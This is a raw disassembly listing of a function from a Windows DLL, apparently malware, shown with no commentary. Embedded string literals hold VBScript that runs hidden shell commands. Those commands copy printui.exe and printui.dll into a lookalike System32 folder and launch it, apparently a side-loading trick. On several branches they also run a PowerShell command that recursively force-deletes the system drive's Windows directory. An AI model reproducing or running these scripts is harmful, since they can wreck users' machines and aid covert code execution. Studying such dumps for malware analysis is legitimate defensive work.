lea rcx, [rsp + 0xd0]
call fcn.180006600
nop
lea rcx, [rsp + 0xf0]
call fcn.180006600
nop
lea rcx, [rsp + 0xa0]
call fcn.180006600
lea rax, str.Set_WshShell__CreateObject__WScript.Shell___r_nWshShell.Run_Chr_34_______Chr_34___0_r_nSet_WshShell__Nothing
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], Ordinal_113
lea r8, [rsp + 0x250]
lea rdx, [rsp + 0x110]
lea rcx, [rsp + 0x130]
call fcn.180026990
nop
lea rdx, [rsp + 0x330]
lea rcx, [rsp + 0x210]
call fcn.180005630
nop
lea rcx, [rsp + 0x570]
call fcn.180024a30
lea rdx, [rsp + 0x1d0]
cmp qword [rsp + 0x1e8], 7
cmova rdx, qword [rsp + 0x1d0]
lea rcx, [rsp + 0x570]
call fcn.180026430
mov rax, qword [rsp + 0x570]
movsxd rcx, dword [rax + 4]
lea rdi, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x570], rdi
mov rax, qword [rsp + 0x570]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x56c], edx
cmp qword [rsp + 0x5f8], 0
je 0x1800586b5
lea rcx, [rsp + 0x210]
call fcn.1800067c0
mov r8, qword [rsp + 0x220]
mov rdx, rax
lea rcx, [rsp + 0x570]
call fcn.180025c70
lea rcx, [rsp + 0x570]
call fcn.180025b80
lea rdx, [rsp + 0x1d0]
call fcn.18005c340
mov r9, qword [rsp + 0x140]
test r9, r9
jne 0x1800586eb
xorps xmm0, xmm0
movups xmmword [rsp + 0x150], xmm0
movdqa xmm1, xmmword [0x180171c10]
movdqu xmmword [rsp + 0x160], xmm1
mov byte [rsp + 0x150], r9b
jmp 0x1800587b7
lea r8, [rsp + 0x130]
cmp qword [rsp + 0x148], 7
cmova r8, qword [rsp + 0x130]
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd rsi, eax
mov rdx, rsi
xor r8d, r8d
lea rcx, [rsp + 0x110]
call fcn.180006880
lea rdx, [rsp + 0x110]
cmp qword [rsp + 0x128], 0xf
cmova rdx, qword [rsp + 0x110]
lea r8, [rsp + 0x130]
cmp qword [rsp + 0x148], 7
cmova r8, qword [rsp + 0x130]
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rdx
mov r9d, dword [rsp + 0x140]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0x150], xmm0
movups xmm1, xmmword [rsp + 0x120]
movups xmmword [rsp + 0x160], xmm1
lea rcx, [rsp + 0x460]
call fcn.180024a30
lea rdx, [rsp + 0x2b0]
lea rcx, [rsp + 0x460]
call fcn.180025c20
nop
cmp qword [rsp + 0x4e8], 0
je 0x180058818
lea rcx, [rsp + 0x150]
call fcn.1800067c0
mov r8, qword [rsp + 0x160]
mov rdx, rax
lea rcx, [rsp + 0x460]
call fcn.180025c70
lea rcx, [rsp + 0x460]
call fcn.180025b80
nop
lea rcx, [rsp + 0x460]
call fcn.180024990
nop
lea rcx, [rsp + 0x150]
call fcn.1800067f0
nop
lea rcx, [rsp + 0x570]
call fcn.180024990
nop
lea rcx, [rsp + 0x210]
call fcn.1800067f0
nop
lea rcx, [rsp + 0x130]
call fcn.180006600
nop
lea rcx, [rsp + 0x330]
call fcn.180006600
jmp 0x1800589dc
cmp eax, 1
jne 0x1800589d5
lea rdx, [rsp + 0x190]
lea rcx, [rsp + 0x130]
call fcn.180055310
nop
mov rdx, rax
lea rcx, [rsp + 0xd0]
call fcn.180054fa0
nop
lea rdx, [rsp + 0xf0]
mov rcx, rax
call fcn.180020850
nop
lea rdx, [rsp + 0xa0]
mov rcx, rax
call fcn.180020830
nop
lea rcx, str.Dim_objShell__objFSO__strSystemDrive_r_nSet_objFSO__CreateObject__Scripting.FileSystemObject___r_nstrSystemDrive__CreateObject__WScript.Shell__.ExpandEnvironmentStrings___SystemDrive____r_n_r_nSet_objShell__WScript.CreateObject__WScript.Shell___r_nobjShell.Run__explorer_..___r_n_r_nIf_Not_objFSO.FolderExists_strSystemDrive___Windows_System32010101___Then_r_n_tIf_objFSO.FolderExists_strSystemDrive___Windows_System32___Then_r_n_t_tobjShell.Run__powershell_Remove_Item__Path_____strSystemDrive___Windows___Recurse__Force___0__True_r_n_tEnd_If_r_n_r_n_tobjShell.Run__powershell_mkdir_____strSystemDrive___Windows_System32__Start_Sleep__Seconds_1__mkdir____strSystemDrive___Windows_System32010101__Copy_Item____strSystemDrive___WindowsSystem32printui.exe____strSystemDrive___Windows_System32printui.exe__Force__Start_Sleep__Seconds_1__Copy_Item_____strSystemDrive___Windows_System32printui.dll__Force__Start_Sleep__Seconds_5____0__True_r_n_r_n_tIf_objFSO.FileExists_strSystemDrive___Windows_System32printui.exe___Then_r_n_t_tIf_objFSO.FileExists_strSystemDrive___Windows_System32printui.dll___Then_r_n_t_t_tobjShell.Run__powershell_mkdir____strSystemDrive___Windows_System32_shrd_b___Start_Sleep__Seconds_3__Start_Process__FilePath____strSystemDrive__Windows_System32printui.exe____0__True_r_n_t_tElse_r_n_t_t_tobjShell.Run__powershell_Remove_Item__Path_____strSystemDrive___Windows___Recurse__Force___0__True_r_n_t_tEnd_If_r_n_tElse_r_n_t_tobjShell.Run__powershell_Remove_Item__Path_____strSystemDrive___Windows___Recurse__Force___0__True_r_n_tEnd_If_r_nEnd_If_r_n_r_nSet_objShell__Nothing_r_nSet_objFSO__Nothing
mov qword [rsp + 0x110], rcx
mov qword [rsp + 0x118], 0x66a
lea r9, [rsp + 0x310]
mov r8, rax
lea rdx, [rsp + 0x110]
lea rcx, [rsp + 0x330]
call fcn.18005c800
nop
lea rcx, [rsp + 0xa0]
call fcn.180006600
nop
lea rcx, [rsp + 0xf0]
call fcn.180006600
nop
lea rcx, [rsp + 0xd0]
call fcn.180006600
nop
lea rcx, [rsp + 0x130]
call fcn.180006600
lea rdx, [rsp + 0x330]
lea rcx, [rsp + 0x210]
call fcn.180005630
nop
lea rcx, [rsp + 0x460]
call fcn.180024a30
lea rdx, [rsp + 0x2b0]
lea rcx, [rsp + 0x460]
call fcn.180025c20
nop
cmp qword [rsp + 0x4e8], 0
je 0x1800589ac
lea rcx, [rsp + 0x210]
call fcn.1800067c0
mov r8, qword [rsp + 0x220]
mov rdx, rax
lea rcx, [rsp + 0x460]
call fcn.180025c70
lea rcx, [rsp + 0x460]
call fcn.180025b80
nop
lea rcx, [rsp + 0x460]
call fcn.180024990
nop
lea rcx, [rsp + 0x210]
call fcn.1800067f0
nop
lea rcx, [rsp + 0x330]
call fcn.180006600
lea rdi, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
lea r8, [rsp + 0x2b0]
mov rdx, r14
mov rcx, r15
call fcn.18005b4e0
lea rdx, [r15 + 0x80]
lea rcx, [rsp + 0x2d0]
call fcn.180005630
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x350]
call fcn.1800c7af0
lea rdx, [rsp + 0x290]
cmp qword [rsp + 0x2a8], 7
cmova rdx, qword [rsp + 0x290]
lea rcx, [rsp + 0x350]
call fcn.180026430
mov rax, qword [rsp + 0x350]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x350], rdi
mov rax, qword [rsp + 0x350]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x34c], edx
cmp qword [rsp + 0x3d8], 0
je 0x180058aab
lea rcx, [rsp + 0x2d0]
call fcn.1800067c0
mov r8, qword [rsp + 0x2e0]
mov rdx, rax
lea rcx, [rsp + 0x350]
call fcn.180025c70
lea rcx, [rsp + 0x350]
call fcn.180025b80
nop
mov rax, qword [rsp + 0x350]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x350], rdi
mov rax, qword [rsp + 0x350]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x34c], edx
lea rcx, [rsp + 0x358]
call fcn.180025ad0
mov rax, qword [rsp + 0x350]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x350], rax
mov rax, qword [rsp + 0x350]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rsp + rcx + 0x34c], edx
lea rax, vtable.std::ios_base.0
mov qword [rsp + 0x3f8], rax
lea rcx, [rsp + 0x3f8]
call fcn.18008f420
nop
mov rdx, qword [rsp + 0x2e8]
cmp rdx, 0xf
jbe 0x180058b76
inc rdx
mov rcx, qword [rsp + 0x2d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180058b71
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180059116
call fcn.1800918d0
movdqa xmm0, xmmword [0x180171c10]
movdqu xmmword [rsp + 0x2e0], xmm0
mov byte [rsp + 0x2d0], 0
mov rdx, qword [rsp + 0x1c8]
cmp rdx, 7
jbe 0x180058bd7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x1b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180058bd2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18005911c
call fcn.1800918d0
movdqu xmmword [rsp + 0x1c0], xmm6
mov word [rsp + 0x1b0], bx
mov rdx, qword [rsp + 0x268]
cmp rdx, 7
jbe 0x180058c30
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x250]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180058c2b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180059122
call fcn.1800918d0
movdqu xmmword [rsp + 0x260], xmm6
mov word [rsp + 0x250], bx
mov rdx, qword [rsp + 0x328]
cmp rdx, 7
jbe 0x180058c89
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x310]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180058c84
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180059128
call fcn.1800918d0
movdqu xmmword [rsp + 0x320], xmm6
mov word [rsp + 0x310], bx
mov rdx, qword [rsp + 0x288]
cmp rdx, 7
jbe 0x180058ce2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x270]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180058cdd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18005912e
call fcn.1800918d0
movdqu xmmword [rsp + 0x280], xmm6
mov word [rsp + 0x270], bx
mov rdx, qword [rsp + 0x308]
cmp rdx, 7
jbe 0x180058d3c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x2f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180058d36
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180059134
call fcn.1800918d0
nop
jmp 0x180058d48
mov rdx, qword [rsp + 0x248]
cmp rdx, 7
jbe 0x180058d90
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x230]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180058d8b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18005913a
call fcn.1800918d0
mov qword [rsp + 0x240], rbx
mov qword [rsp + 0x248], 7
mov word [rsp + 0x230], bx
mov rdx, qword [rsp + 0x2a8]
cmp rdx, 7
jbe 0x180058df4
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x290]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180058def
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180059140
call fcn.1800918d0
movdqu xmmword [rsp + 0x2a0], xmm6
mov word [rsp + 0x290], bx
mov rdx, qword [rsp + 0x2c8]
cmp rdx, 7
jbe 0x180058e4d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x2b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180058e48
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180059146
call fcn.1800918d0
movdqu xmmword [rsp + 0x2c0], xmm6
mov word [rsp + 0x2b0], bx
mov rdx, qword [rsp + 0x1e8]
cmp rdx, 7
jbe 0x180058ea6
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180058ea1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18005914c
call fcn.1800918d0
mov qword [rsp + 0x1e0], rbx
mov qword [rsp + 0x1e8], 7
mov word [rsp + 0x1d0], bx
mov rdx, qword [rsp + 0x208]
cmp rdx, 7
jbe 0x180058f0a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x1f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180058f05
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180059152
call fcn.1800918d0
mov qword [rsp + 0x200], rbx
mov qword [rsp + 0x208], 7
mov word [rsp + 0x1f0], bx
mov rdx, qword [rsp + 0x1a8]
cmp rdx, 7
jbe 0x180058f6e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x190]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180058f69
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180059158
call fcn.1800918d0
mov qword [rsp + 0x1a0], rbx
mov qword [rsp + 0x1a8], 7
mov word [rsp + 0x190], bx
mov rdx, qword [rsp + 0x188]
cmp rdx, 7
jbe 0x180058fd2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x170]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180058fcd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18005915e
call fcn.1800918d0
mov rcx, qword [rsp + 0x680]
xor rcx, rsp
call fcn.1800918b0
mov rbx, qword [rsp + 0x6e0]
movaps xmm6, xmmword [rsp + 0x690]
add rsp, 0x6a0
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
call fcn.1800a6d18
nop
call fcn.1800a6d18
nop
call fcn.1800a6d18
nop
call fcn.1800a6d18
nop
lea r8, [rsp + 0x130]
lea rdx, [rsp + 0x110]
lea rcx, [0x1801050d0]
call fcn.1800212d0
nop
call fcn.1800a6d18
nop
call fcn.1800a6d18
nop
call fcn.1800a6d18
nop
call fcn.1800a6d18
nop
call fcn.1800a6d18
nop
call fcn.1800a6d18
nop
call fcn.1800a6d18
nop
call fcn.1800a6d18
nop
lea r8, [rsp + 0x130]
lea rdx, [rsp + 0x110]
lea rcx, [0x1801050d0]
call fcn.1800212d0
nop
call fcn.1800a6d18
nop
lea r8, [rsp + 0x130]
lea rdx, [rsp + 0x110]
lea rcx, [0x1801050d0]
call fcn.1800212d0
nop
shr rdx, 0x20
lea r8, [rsp + 0x110]
lea rcx, str.create_directory
call fcn.18002bf00
nop
call fcn.1800a6d18
int3
call fcn.1800a6d18
nop
lea r8, [rsp + 0x130]
lea rdx, [rsp + 0x110]
lea rcx, [0x1801050d0]
call fcn.1800212d0
nop
shr rdx, 0x20
lea r9, [rsp + 0x130]
lea r8, [rsp + 0x110]
lea rcx, str.copy_file
call fcn.180054fe0
nop
call fcn.1800a6d18
nop
call fcn.1800a6d18
nop
call fcn.1800a6d18
nop
call fcn.1800a6d18
nop
call fcn.1800a6d18
nop
call fcn.1800a6d18
nop
call fcn.1800a6d18
nop
call fcn.1800a6d18
nop
call fcn.1800a6d18
nop
call fcn.1800a6d18
nop
call fcn.1800a6d18
nop
call fcn.1800a6d18
nop
call fcn.1800a6d18
nop
call fcn.1800a6d18
nop
call fcn.1800a6d18
int3